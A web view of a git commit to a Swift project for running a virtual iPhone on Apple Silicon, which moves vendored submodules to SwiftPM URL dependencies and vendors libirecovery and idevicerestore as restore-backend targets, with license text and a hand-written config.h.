Skip to content

Run a virtual iPhone on an Apple Silicon Mac.

Swift

wip(p2): resolve dependencies by URL, and vendor the restore backend

Lakr853d63dae248
diff --git a/.gitmodules b/.gitmodules
index 439cebda..11971898 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,27 +1,9 @@
[submodule "scripts/resources"]
path = scripts/resources
url = https://github.com/zqxwce/vphone-cli-storage.git
-[submodule "vendor/libcapstone-spm"]
- path = vendor/libcapstone-spm
- url = https://github.com/Lakr233/libcapstone-spm.git
-[submodule "vendor/libimg4-spm"]
- path = vendor/libimg4-spm
- url = https://github.com/Lakr233/libimg4-spm.git
-[submodule "vendor/MachOKit"]
- path = vendor/MachOKit
- url = https://github.com/p-x9/MachOKit.git
-[submodule "vendor/Dynamic"]
- path = vendor/Dynamic
- url = https://github.com/mhdhejazi/Dynamic.git
-[submodule "vendor/swift-argument-parser"]
- path = vendor/swift-argument-parser
- url = https://github.com/apple/swift-argument-parser.git
[submodule "scripts/repos/trustcache"]
path = scripts/repos/trustcache
url = https://github.com/CRKatri/trustcache.git
[submodule "scripts/repos/insert_dylib"]
path = scripts/repos/insert_dylib
url = https://github.com/tyilo/insert_dylib.git
-[submodule "vendor/libarchive.xcframework"]
- path = vendor/libarchive.xcframework
- url = https://github.com/Lakr233/libarchive.xcframework.git
diff --git a/Package.swift b/Package.swift
index 6752a399..b681ee70 100644
--- a/Package.swift
+++ b/Package.swift
@@ -8,13 +8,30 @@ let package = Package(
.macOS(.v15),
],
products: [],
+ // Resolved by SwiftPM, not carried as submodules. Every one of these was a
+ // `.package(path: "vendor/…")` over a checkout this repository pinned by
+ // commit, which meant a `git submodule update` before any build and a tree
+ // that could sit at an unreleased commit — MachOKit was four commits past
+ // 0.46.1, Dynamic two past 1.2.0. A URL and a version says the same thing
+ // in one line, and `Package.resolved` records exactly what was built.
dependencies: [
- .package(path: "vendor/swift-argument-parser"),
- .package(path: "vendor/Dynamic"),
- .package(path: "vendor/libcapstone-spm"),
- .package(path: "vendor/libimg4-spm"),
- .package(path: "vendor/MachOKit"),
- .package(path: "vendor/libarchive.xcframework"),
+ .package(url: "https://github.com/apple/swift-argument-parser.git", from: "1.8.2"),
+ .package(url: "https://github.com/mhdhejazi/Dynamic.git", from: "1.2.0"),
+ // The one that cannot be a version: its CoreCapstone target carries
+ // `.unsafeFlags(["-Wno-shorten-64-to-32"])`, and SwiftPM refuses unsafe
+ // flags in a dependency resolved by version — a branch requirement is
+ // allowed to carry them. Drop that flag upstream and this becomes
+ // `from:` like the rest.
+ .package(url: "https://github.com/Lakr233/libcapstone-spm.git", branch: "main"),
+ .package(url: "https://github.com/Lakr233/libimg4-spm.git", from: "0.1.1"),
+ .package(url: "https://github.com/Lakr233/libarchive.xcframework.git", from: "0.1.1"),
+ .package(url: "https://github.com/p-x9/MachOKit.git", from: "0.52.2"),
+ // libimobiledevice, its glue, libplist, libusbmuxd, libtatsu and
+ // OpenSSL, as prebuilt xcframeworks. This is what replaces
+ // pymobiledevice3: the restore backend's whole dependency stack
+ // arrives through SwiftPM instead of a pip install into a venv, and
+ // the C targets below include its headers directly.
+ .package(url: "https://github.com/Lakr233/AppleMobileDeviceLibrary.git", from: "1.0.1790070576"),
],
targets: [
.target(
@@ -71,6 +88,114 @@ let package = Package(
.linkedFramework("Security"),
]
),
+ // libirecovery 1.3.1, vendored. It talks to iBoot/iBSS over USB, which
+ // is the half of a restore that `idevicerestore` does not get from
+ // libimobiledevice, and it is not in AppleMobileDeviceLibrary. Upstream
+ // ships it as an autotools project, so the only things here that are
+ // not upstream's own bytes are config.h — which says what `./configure`
+ // would have concluded on macOS — and this stanza.
+ //
+ // The backend is IOKit, not libusb: on a host whose SDK has
+ // IOKit/usb/IOUSBLib.h, upstream's configure.ac picks IOKit and never
+ // looks for libusb. That is deliberate here too, because a libusb
+ // backend would mean a Homebrew dylib in the link, and `make check-aux`
+ // exists to keep those out.
+ .target(
+ name: "MobileRecoveryCore",
+ dependencies: [
+ // libplist, libimobiledevice-glue (collection.h, thread.h) and
+ // libusbmuxd, as prebuilt xcframeworks.
+ .product(name: "AppleMobileDeviceLibrary", package: "AppleMobileDeviceLibrary"),
+ ],
+ path: "sources/MobileRecoveryCore",
+ // Upstream's LGPL-2.1 text. It ships with the source; it does not
+ // compile, so SwiftPM has to be told it is not an input.
+ exclude: ["COPYING"],
+ publicHeadersPath: "include",
+ cSettings: [
+ // config.h sits beside libirecovery.c rather than in include/,
+ // so it stays out of the module's umbrella and no dependent
+ // ever sees a PACKAGE_VERSION it did not ask for.
+ .headerSearchPath("."),
+ .define("HAVE_CONFIG_H", to: "1"),
+ // Upstream's `--enable-static --disable-shared` case, which is
+ // what a SwiftPM target is: IRECV_API collapses to nothing
+ // instead of a dllexport or a visibility attribute.
+ .define("IRECV_STATIC", to: "1"),
+ ],
+ linkerSettings: [
+ .linkedFramework("IOKit"),
+ .linkedFramework("CoreFoundation"),
+ ]
+ ),
+ // idevicerestore, vendored. This is the restore backend itself — the
+ // thing scripts/pymobiledevice3_bridge.py has been standing in for,
+ // and the last reason this repository has a venv. Upstream is a
+ // program; here it is a library, built with IDEVICERESTORE_NOMAIN so
+ // its main(), getopt table and signal handling are excluded, and
+ // driven through sources/MobileRestoreCore/include/vphone_restore_bridge.h.
+ //
+ // Two files in this target are not upstream's and both say so at the
+ // top: config.h, which is what ./configure would have written, and the
+ // libzip stub. libzip is the one PKG_CHECK_MODULES dependency with no
+ // counterpart here, and linking Homebrew's copy would put an absolute
+ // path in the closure that `make check-aux` gate 1 rejects. It is only
+ // reachable when reading a .ipsw archive or re-signing a .bbfw, and
+ // this project restores from an extracted directory onto a device with
+ // no baseband — zip.h has the full argument.
+ .target(
+ name: "MobileRestoreCore",
+ dependencies: [
+ // <libirecovery.h>: DFU and recovery over USB.
+ "MobileRecoveryCore",
+ // libimobiledevice, its glue, libplist, libusbmuxd, libtatsu.
+ .product(name: "AppleMobileDeviceLibrary", package: "AppleMobileDeviceLibrary"),
+ ],
+ path: "sources/MobileRestoreCore",
+ // Upstream's LGPL-2.1 text, which ships with the source and does
+ // not compile.
+ exclude: ["COPYING"],
+ publicHeadersPath: "include",
+ cSettings: [
+ // Reaches config.h and the libzip stub, both of which sit
+ // beside the .c files rather than in include/ — include/ is
+ // the generated module's umbrella, and neither a second
+ // PACKAGE_VERSION nor a fake <zip.h> belongs in a header a
+ // dependent imports. include/ holds the bridge header alone.
+ .headerSearchPath("."),
+ .define("HAVE_CONFIG_H", to: "1"),
+ .define("IRECV_STATIC", to: "1"),
+ ],
+ linkerSettings: [
+ // Both from /usr/lib: libcurl.4.dylib for the TSS request and
+ // the firmware download, libz.1.dylib for the gzipped .shsh
+ // and the compressed BuildManifest members. These two are on
+ // check_aux.sh's system whitelist; nothing else is linked.
+ .linkedLibrary("curl"),
+ .linkedLibrary("z"),
+ ]
+ ),
+ // The Swift face of the two C targets above, and what actually
+ // replaces scripts/pymobiledevice3_bridge.py: probe for a DFU/recovery
+ // endpoint, fetch a SHSH blob, drive a restore. Three of the Python's
+ // four commands — `usbmux-list` had no call site anywhere in this
+ // repository and is not ported.
+ //
+ // It links libz because it has to undo one thing idevicerestore does:
+ // `-t/--shsh` writes a GZIPPED binary plist, and the `.shsh` this
+ // project has always written beside a VM is a plain one. /usr/lib/
+ // libz.1.dylib is on check_aux.sh's system whitelist.
+ .target(
+ name: "VPhoneRestore",
+ dependencies: [
+ "MobileRecoveryCore",
+ "MobileRestoreCore",
+ ],
+ path: "sources/VPhoneRestore",
+ linkerSettings: [
+ .linkedLibrary("z"),
+ ]
+ ),
// Everything that touches a running guest: the machine, its window and
// menus, the vsock channel and the host device bridges. It is a library
// so the only executable holding the private virtualization
@@ -153,5 +278,14 @@ let package = Package(
dependencies: ["VPhoneSign"],
path: "tests/VPhoneSignTests"
),
+ // Everything here runs without a device attached: argument parsing,
+ // the restore-tree rules, the .shsh naming and the C struct the
+ // options turn into. What needs a phone in DFU is not tested, and
+ // saying so is better than a test that only looks like one.
+ .testTarget(
+ name: "VPhoneRestoreTests",
+ dependencies: ["VPhoneRestore"],
+ path: "tests/VPhoneRestoreTests"
+ ),
]
)
diff --git a/sources/MobileRecoveryCore/COPYING b/sources/MobileRecoveryCore/COPYING
new file mode 100644
index 00000000..f166cc57
--- /dev/null
+++ b/sources/MobileRecoveryCore/COPYING
@@ -0,0 +1,502 @@
+ GNU LESSER GENERAL PUBLIC LICENSE
+ Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL. It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+ Preamble
+
+ The licenses for most software are designed to take away your
+freedom to share and change it. By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+ This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it. You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+ When we speak of free software, we are referring to freedom of use,
+not price. Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+ To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights. These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+ For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you. You must make sure that they, too, receive or can get the source
+code. If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it. And you must show them these terms so they know their rights.
+
+ We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+ To protect each distributor, we want to make it very clear that
+there is no warranty for the free library. Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+ Finally, software patents pose a constant threat to the existence of
+any free program. We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder. Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+ Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License. This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License. We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+ When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library. The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom. The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+ We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
+Public License. It also provides other free software developers Less
+of an advantage over competing non-free programs. These disadvantages
+are the reason we use the ordinary General Public License for many
+libraries. However, the Lesser license provides advantages in certain
+special circumstances.
+
+ For example, on rare occasions, there may be a special need to
+encourage the widest possible use of a certain library, so that it becomes
+a de-facto standard. To achieve this, non-free programs must be
+allowed to use the library. A more frequent case is that a free
+library does the same job as widely used non-free libraries. In this
+case, there is little to gain by limiting the free library to free
+software only, so we use the Lesser General Public License.
+
+ In other cases, permission to use a particular library in non-free
+programs enables a greater number of people to use a large body of
+free software. For example, permission to use the GNU C Library in
+non-free programs enables many more people to use the whole GNU
+operating system, as well as its variant, the GNU/Linux operating
+system.
+
+ Although the Lesser General Public License is Less protective of the
+users' freedom, it does ensure that the user of a program that is
+linked with the Library has the freedom and the wherewithal to run
+that program using a modified version of the Library.
+
+ The precise terms and conditions for copying, distribution and
+modification follow. Pay close attention to the difference between a
+"work based on the library" and a "work that uses the library". The
+former contains code derived from the library, whereas the latter must
+be combined with the library in order to run.
+
+ GNU LESSER GENERAL PUBLIC LICENSE
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+ 0. This License Agreement applies to any software library or other
+program which contains a notice placed by the copyright holder or
+other authorized party saying it may be distributed under the terms of
+this Lesser General Public License (also called "this License").
+Each licensee is addressed as "you".
+
+ A "library" means a collection of software functions and/or data
+prepared so as to be conveniently linked with application programs
+(which use some of those functions and data) to form executables.
+
+ The "Library", below, refers to any such software library or work
+which has been distributed under these terms. A "work based on the
+Library" means either the Library or any derivative work under
+copyright law: that is to say, a work containing the Library or a
+portion of it, either verbatim or with modifications and/or translated
+straightforwardly into another language. (Hereinafter, translation is
+included without limitation in the term "modification".)
+
+ "Source code" for a work means the preferred form of the work for
+making modifications to it. For a library, complete source code means
+all the source code for all modules it contains, plus any associated
+interface definition files, plus the scripts used to control compilation
+and installation of the library.
+
+ Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope. The act of
+running a program using the Library is not restricted, and output from
+such a program is covered only if its contents constitute a work based
+on the Library (independent of the use of the Library in a tool for
+writing it). Whether that is true depends on what the Library does
+and what the program that uses the Library does.
+
+ 1. You may copy and distribute verbatim copies of the Library's
+complete source code as you receive it, in any medium, provided that
+you conspicuously and appropriately publish on each copy an
+appropriate copyright notice and disclaimer of warranty; keep intact
+all the notices that refer to this License and to the absence of any
+warranty; and distribute a copy of this License along with the
+Library.
+
+ You may charge a fee for the physical act of transferring a copy,
+and you may at your option offer warranty protection in exchange for a
+fee.
+
+ 2. You may modify your copy or copies of the Library or any portion
+of it, thus forming a work based on the Library, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+ a) The modified work must itself be a software library.
+
+ b) You must cause the files modified to carry prominent notices
+ stating that you changed the files and the date of any change.
+
+ c) You must cause the whole of the work to be licensed at no
+ charge to all third parties under the terms of this License.
+
+ d) If a facility in the modified Library refers to a function or a
+ table of data to be supplied by an application program that uses
+ the facility, other than as an argument passed when the facility
+ is invoked, then you must make a good faith effort to ensure that,
+ in the event an application does not supply such function or
+ table, the facility still operates, and performs whatever part of
+ its purpose remains meaningful.
+
+ (For example, a function in a library to compute square roots has
+ a purpose that is entirely well-defined independent of the
+ application. Therefore, Subsection 2d requires that any
+ application-supplied function or table used by this function must
+ be optional: if the application does not supply it, the square
+ root function must still compute square roots.)
+
+These requirements apply to the modified work as a whole. If
+identifiable sections of that work are not derived from the Library,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works. But when you
+distribute the same sections as part of a whole which is a work based
+on the Library, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Library.
+
+In addition, mere aggregation of another work not based on the Library
+with the Library (or with a work based on the Library) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+ 3. You may opt to apply the terms of the ordinary GNU General Public
+License instead of this License to a given copy of the Library. To do
+this, you must alter all the notices that refer to this License, so
+that they refer to the ordinary GNU General Public License, version 2,
+instead of to this License. (If a newer version than version 2 of the
+ordinary GNU General Public License has appeared, then you can specify
+that version instead if you wish.) Do not make any other change in
+these notices.
+
+ Once this change is made in a given copy, it is irreversible for
+that copy, so the ordinary GNU General Public License applies to all
+subsequent copies and derivative works made from that copy.
+
+ This option is useful when you wish to copy part of the code of
+the Library into a program that is not a library.
+
+ 4. You may copy and distribute the Library (or a portion or
+derivative of it, under Section 2) in object code or executable form
+under the terms of Sections 1 and 2 above provided that you accompany
+it with the complete corresponding machine-readable source code, which
+must be distributed under the terms of Sections 1 and 2 above on a
+medium customarily used for software interchange.
+
+ If distribution of object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the
+source code from the same place satisfies the requirement to
+distribute the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+ 5. A program that contains no derivative of any portion of the
+Library, but is designed to work with the Library by being compiled or
+linked with it, is called a "work that uses the Library". Such a
+work, in isolation, is not a derivative work of the Library, and
+therefore falls outside the scope of this License.
+
+ However, linking a "work that uses the Library" with the Library
+creates an executable that is a derivative of the Library (because it
+contains portions of the Library), rather than a "work that uses the
+library". The executable is therefore covered by this License.
+Section 6 states terms for distribution of such executables.
+
+ When a "work that uses the Library" uses material from a header file
+that is part of the Library, the object code for the work may be a
+derivative work of the Library even though the source code is not.
+Whether this is true is especially significant if the work can be
+linked without the Library, or if the work is itself a library. The
+threshold for this to be true is not precisely defined by law.
+
+ If such an object file uses only numerical parameters, data
+structure layouts and accessors, and small macros and small inline
+functions (ten lines or less in length), then the use of the object
+file is unrestricted, regardless of whether it is legally a derivative
+work. (Executables containing this object code plus portions of the
+Library will still fall under Section 6.)
+
+ Otherwise, if the work is a derivative of the Library, you may
+distribute the object code for the work under the terms of Section 6.
+Any executables containing that work also fall under Section 6,
+whether or not they are linked directly with the Library itself.
+
+ 6. As an exception to the Sections above, you may also combine or
+link a "work that uses the Library" with the Library to produce a
+work containing portions of the Library, and distribute that work
+under terms of your choice, provided that the terms permit
+modification of the work for the customer's own use and reverse
+engineering for debugging such modifications.
+
+ You must give prominent notice with each copy of the work that the
+Library is used in it and that the Library and its use are covered by
+this License. You must supply a copy of this License. If the work
+during execution displays copyright notices, you must include the
+copyright notice for the Library among them, as well as a reference
+directing the user to the copy of this License. Also, you must do one
+of these things:
+
+ a) Accompany the work with the complete corresponding
+ machine-readable source code for the Library including whatever
+ changes were used in the work (which must be distributed under
+ Sections 1 and 2 above); and, if the work is an executable linked
+ with the Library, with the complete machine-readable "work that
+ uses the Library", as object code and/or source code, so that the
+ user can modify the Library and then relink to produce a modified
+ executable containing the modified Library. (It is understood
+ that the user who changes the contents of definitions files in the
+ Library will not necessarily be able to recompile the application
+ to use the modified definitions.)
+
+ b) Use a suitable shared library mechanism for linking with the
+ Library. A suitable mechanism is one that (1) uses at run time a
+ copy of the library already present on the user's computer system,
+ rather than copying library functions into the executable, and (2)
+ will operate properly with a modified version of the library, if
+ the user installs one, as long as the modified version is
+ interface-compatible with the version that the work was made with.
+
+ c) Accompany the work with a written offer, valid for at
+ least three years, to give the same user the materials
+ specified in Subsection 6a, above, for a charge no more
+ than the cost of performing this distribution.
+
+ d) If distribution of the work is made by offering access to copy
+ from a designated place, offer equivalent access to copy the above
+ specified materials from the same place.
+
+ e) Verify that the user has already received a copy of these
+ materials or that you have already sent this user a copy.
+
+ For an executable, the required form of the "work that uses the
+Library" must include any data and utility programs needed for
+reproducing the executable from it. However, as a special exception,
+the materials to be distributed need not include anything that is
+normally distributed (in either source or binary form) with the major
+components (compiler, kernel, and so on) of the operating system on
+which the executable runs, unless that component itself accompanies
+the executable.
+
+ It may happen that this requirement contradicts the license
+restrictions of other proprietary libraries that do not normally
+accompany the operating system. Such a contradiction means you cannot
+use both them and the Library together in an executable that you
+distribute.
+
+ 7. You may place library facilities that are a work based on the
+Library side-by-side in a single library together with other library
+facilities not covered by this License, and distribute such a combined
+library, provided that the separate distribution of the work based on
+the Library and of the other library facilities is otherwise
+permitted, and provided that you do these two things:
+
+ a) Accompany the combined library with a copy of the same work
+ based on the Library, uncombined with any other library
+ facilities. This must be distributed under the terms of the
+ Sections above.
+
+ b) Give prominent notice with the combined library of the fact
+ that part of it is a work based on the Library, and explaining
+ where to find the accompanying uncombined form of the same work.
+
+ 8. You may not copy, modify, sublicense, link with, or distribute
+the Library except as expressly provided under this License. Any
+attempt otherwise to copy, modify, sublicense, link with, or
+distribute the Library is void, and will automatically terminate your
+rights under this License. However, parties who have received copies,
+or rights, from you under this License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+ 9. You are not required to accept this License, since you have not
+signed it. However, nothing else grants you permission to modify or
+distribute the Library or its derivative works. These actions are
+prohibited by law if you do not accept this License. Therefore, by
+modifying or distributing the Library (or any work based on the
+Library), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+ 10. Each time you redistribute the Library (or any work based on the
+Library), the recipient automatically receives a license from the
+original licensor to copy, distribute, link with or modify the Library
+subject to these terms and conditions. You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties with
+this License.
+
+ 11. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Library at all. For example, if a patent
+license would not permit royalty-free redistribution of the Library by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system which is
+implemented by public license practices. Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+ 12. If the distribution and/or use of the Library is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Library under this License may add
+an explicit geographical distribution limitation excluding those countries,
+so that distribution is permitted only in or among countries not thus
+excluded. In such case, this License incorporates the limitation as if
+written in the body of this License.
+
+ 13. The Free Software Foundation may publish revised and/or new
+versions of the Lesser General Public License from time to time.
+Such new versions will be similar in spirit to the present version,
+but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Library
+specifies a version number of this License which applies to it and
+"any later version", you have the option of following the terms and
+conditions either of that version or of any later version published by
+the Free Software Foundation. If the Library does not specify a
+license version number, you may choose any version ever published by
+the Free Software Foundation.
+
+ 14. If you wish to incorporate parts of the Library into other free
+programs whose distribution conditions are incompatible with these,
+write to the author to ask for permission. For software which is
+copyrighted by the Free Software Foundation, write to the Free
+Software Foundation; we sometimes make exceptions for this. Our
+decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+ NO WARRANTY
+
+ 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
+LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGES.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Libraries
+
+ If you develop a new library, and you want it to be of the greatest
+possible use to the public, we recommend making it free software that
+everyone can redistribute and change. You can do so by permitting
+redistribution under these terms (or, alternatively, under the terms of the
+ordinary General Public License).
+
+ To apply these terms, attach the following notices to the library. It is
+safest to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least the
+"copyright" line and a pointer to where the full notice is found.
+
+ <one line to give the library's name and a brief idea of what it does.>
+ Copyright (C) <year> <name of author>
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the library, if
+necessary. Here is a sample; alter the names:
+
+ Yoyodyne, Inc., hereby disclaims all copyright interest in the
+ library `Frob' (a library for tweaking knobs) written by James Random Hacker.
+
+ <signature of Ty Coon>, 1 April 1990
+ Ty Coon, President of Vice
+
+That's all there is to it!
\ No newline at end of file
diff --git a/sources/MobileRecoveryCore/config.h b/sources/MobileRecoveryCore/config.h
new file mode 100644
index 00000000..ae3adf6e
--- /dev/null
+++ b/sources/MobileRecoveryCore/config.h
@@ -0,0 +1,99 @@
+/*
+ * config.h
+ *
+ * Hand-written stand-in for the config.h that libirecovery's autotools build
+ * generates. It is NOT an upstream file: everything else under this target is
+ * libirecovery 1.3.1 byte for byte, and this is the one file SwiftPM has to
+ * supply in autoconf's place.
+ *
+ * Each value below is what `./configure` would have written on macOS, read off
+ * upstream's configure.ac and config.h.in rather than guessed:
+ *
+ * - CoreFoundation/CoreFoundation.h and IOKit/usb/IOUSBLib.h are both present
+ * in the macOS SDK, so configure takes the `darwin*` branch, sets
+ * have_iokit=yes, defaults --with-iokit to yes and defines HAVE_IOKIT. That
+ * is the IOKit USB backend; libusb is never reached and is not a dependency
+ * of this package.
+ * - USE_DUMMY stays undefined (--with-dummy defaults to no), or every
+ * transfer would compile down to IRECV_E_UNSUPPORTED.
+ * - BUILD_TOOLS and HAVE_READLINE stay undefined: tools/irecovery.c is not
+ * vendored, only src/libirecovery.c.
+ * - The HAVE_*_H / HAVE_<func> entries are the AC_CHECK_HEADERS and
+ * AC_CHECK_FUNCS lists from configure.ac, all of which hold on macOS.
+ * - AC_SYS_LARGEFILE defines nothing here: off_t is already 64-bit on macOS,
+ * so no _FILE_OFFSET_BITS / _LARGE_FILES.
+ * - The `const`, `size_t`, `ssize_t` and `uint{8,16,32}_t` fallbacks in
+ * config.h.in are for pre-C89 and Solaris hosts and stay undefined.
+ * - LT_OBJDIR is libtool's, and there is no libtool here.
+ *
+ * This target is built as a static library and linked into the executables of
+ * this package, which is upstream's `--enable-static --disable-shared` case, so
+ * IRECV_STATIC is defined too — in Package.swift, because libirecovery.h needs
+ * it as well and this header is private to the target.
+ */
+
+#ifndef VPHONE_MOBILERECOVERYCORE_CONFIG_H
+#define VPHONE_MOBILERECOVERYCORE_CONFIG_H
+
+/* Name of package */
+#define PACKAGE "libirecovery"
+
+/* Define to the address where bug reports for this package should be sent. */
+#define PACKAGE_BUGREPORT "https://github.com/libimobiledevice/libirecovery/issues"
+
+/* Define to the full name of this package. */
+#define PACKAGE_NAME "libirecovery"
+
+/* Define to the full name and version of this package. */
+#define PACKAGE_STRING "libirecovery 1.3.1"
+
+/* Define to the one symbol short name of this package. */
+#define PACKAGE_TARNAME "libirecovery"
+
+/* Define to the home page for this package. */
+#define PACKAGE_URL "https://libimobiledevice.org"
+
+/* Define to the version of this package. */
+#define PACKAGE_VERSION "1.3.1"
+
+/* Version number of package */
+#define VERSION "1.3.1"
+
+/* Define if we have IOKit */
+#define HAVE_IOKIT 1
+
+/* Define to 1 if all of the C89 standard headers exist. */
+#define STDC_HEADERS 1
+
+/* Headers: the AC_CHECK_HEADERS list, plus the ones autoheader always emits. */
+#define HAVE_DLFCN_H 1
+#define HAVE_INTTYPES_H 1
+#define HAVE_STDINT_H 1
+#define HAVE_STDIO_H 1
+#define HAVE_STDLIB_H 1
+#define HAVE_STRINGS_H 1
+#define HAVE_STRING_H 1
+#define HAVE_SYS_STAT_H 1
+#define HAVE_SYS_TYPES_H 1
+#define HAVE_UNISTD_H 1
+
+/* Functions: the AC_CHECK_FUNCS list. */
+#define HAVE_CALLOC 1
+#define HAVE_MALLOC 1
+#define HAVE_REALLOC 1
+#define HAVE_STRCASECMP 1
+#define HAVE_STRDUP 1
+#define HAVE_STRERROR 1
+#define HAVE_STRNDUP 1
+
+/*
+ * Deliberately left undefined, to match a macOS ./configure with the defaults:
+ * BUILD_TOOLS, HAVE_READLINE, HAVE_READLINE_READLINE_H (no tools built)
+ * USE_DUMMY (real USB backend)
+ * LT_OBJDIR (no libtool)
+ * _FILE_OFFSET_BITS, _LARGE_FILES, _TIME_BITS (off_t is 64-bit)
+ * __MINGW_USE_VC2005_COMPAT (not mingw)
